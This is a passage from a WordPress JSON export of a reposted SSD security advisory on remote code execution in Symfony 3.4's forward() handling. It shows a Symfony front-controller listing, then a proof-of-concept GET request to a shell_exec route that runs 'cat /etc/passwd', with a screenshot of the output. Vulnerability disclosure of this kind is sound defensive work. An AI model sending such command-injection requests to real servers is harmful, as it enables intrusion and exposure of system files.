data-line=\"crayon-5bdf707853e82808325750-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-38\">38<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-1\"><span class=\"crayon-ta\">&lt;?php<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-3\"><span class=\"crayon-st\">use<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">App<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Core<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">App<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-4\"><span class=\"crayon-st\">use<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Symfony<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Component<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Debug<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Debug<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-5\"><span class=\"crayon-st\">use<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Symfony<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Component<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Dotenv<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Dotenv<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-6\"><span class=\"crayon-st\">use<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Symfony<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Component<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">HttpFoundation<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-i\">Request<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-7\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-8\"><span class=\"crayon-k\">require<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-k\">__DIR__<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8216;\/..\/vendor\/autoload.php&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-9\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-10\"><span class=\"crayon-c\">\/\/ The check is to ensure we don&#8217;t use .env in production<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-11\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-k\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;APP_ENV&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">class_exists<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">Dotenv::<\/span><span class=\"crayon-t\">class<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-e\">RuntimeException<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;APP_ENV environment variable is not defined. You need to define environment variables for configuration or add &#8220;symfony\/dotenv&#8221; as a Composer dependency to load variables from a .env file.&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Dotenv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">load<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-k\">__DIR__<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8216;\/..\/.env&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-16\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-17\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-18\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$trustedProxies<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;TRUSTED_PROXIES&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Request::<\/span><span class=\"crayon-e\">setTrustedProxies<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">explode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;,&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$trustedProxies<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Request::<\/span><span class=\"crayon-cn\">HEADER_X_FORWARDED_ALL<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">^<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Request::<\/span><span class=\"crayon-cn\">HEADER_X_FORWARDED_HOST<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-20\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-21\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-22\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$trustedHosts<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;TRUSTED_HOSTS&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Request::<\/span><span class=\"crayon-e\">setTrustedHosts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">explode<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;,&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$trustedHosts<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-24\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-25\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-26\"><span class=\"crayon-v\">$env<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;APP_ENV&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;dev&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-27\"><span class=\"crayon-v\">$debug<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">bool<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$_SERVER<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;APP_DEBUG&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;prod&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$env<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-28\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-29\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$debug<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-30\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">umask<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0000<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Debug::<\/span><span class=\"crayon-e\">enable<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-32\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-33\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-34\"><span class=\"crayon-v\">$app<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">App<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$env<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$debug<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-35\"><span class=\"crayon-v\">$request<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">App::<\/span><span class=\"crayon-e\">getRequest<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-36\"><span class=\"crayon-v\">$response<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$app<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">handle<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$request<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e82808325750-37\"><span class=\"crayon-v\">$response<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">send<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e82808325750-38\"><span class=\"crayon-v\">$app<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">terminate<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$request<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$response<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0096 seconds] -->  <\/p>\n<p>We can issue a GET Request for the next URL:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5bdf707853e88543038640\" class=\"crayon-syntax crayon-theme-shell-default crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> http:\/\/localhost:8000\/forward2\/shell_exec?cmd=cat%20\/etc\/passwd<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e88543038640-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e88543038640-1\"><span class=\"crayon-v\">http<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-c\">\/\/localhost:8000\/forward2\/shell_exec?cmd=cat%20\/etc\/passwd<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p>Result:<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/10\/Symfony-passwd-file.png\" data-slb-active=\"1\" data-slb-asset=\"1444673484\" data-slb-internal=\"0\" data-slb-group=\"3781\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-3782\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/10\/Symfony-passwd-file-300x225.png\" alt=\"\" width=\"973\" height=\"730\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/10\/Symfony-passwd-file-300x225.png 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/10\/Symfony-passwd-file-768x575.png 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/10\/Symfony-passwd-file-1024x767.png 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/10\/Symfony-passwd-file.png 1065w\" sizes=\"auto, (max-width: 973px) 100vw, 973px\" \/><\/a><\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3781\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2018\/10\/Symfony-passwd-file-300x225.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Ori Nimron| Date: Sun, 04 Nov 2018 14:21:53 +0000<\/strong><\/p>\n<p>Vulnerability Summary The following advisory describes a vulnerability found in Symfony 3.4 &#8211; a PHP framework that is used to create websites and web applications. Built on top of the Symfony Components. Under certain conditions, the Symfony framework can be abused to trigger RCE in the HttpKernel (http-kernel) component, while forward() is considered by the &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3781\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Symfony Framework forward() Remote Code Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11682,10757],"class_list":["post-13758","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-remote-code-execution","tag-securiteam-secure-disclosure"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/13758","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=13758"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/13758\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=13758"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=13758"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=13758"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}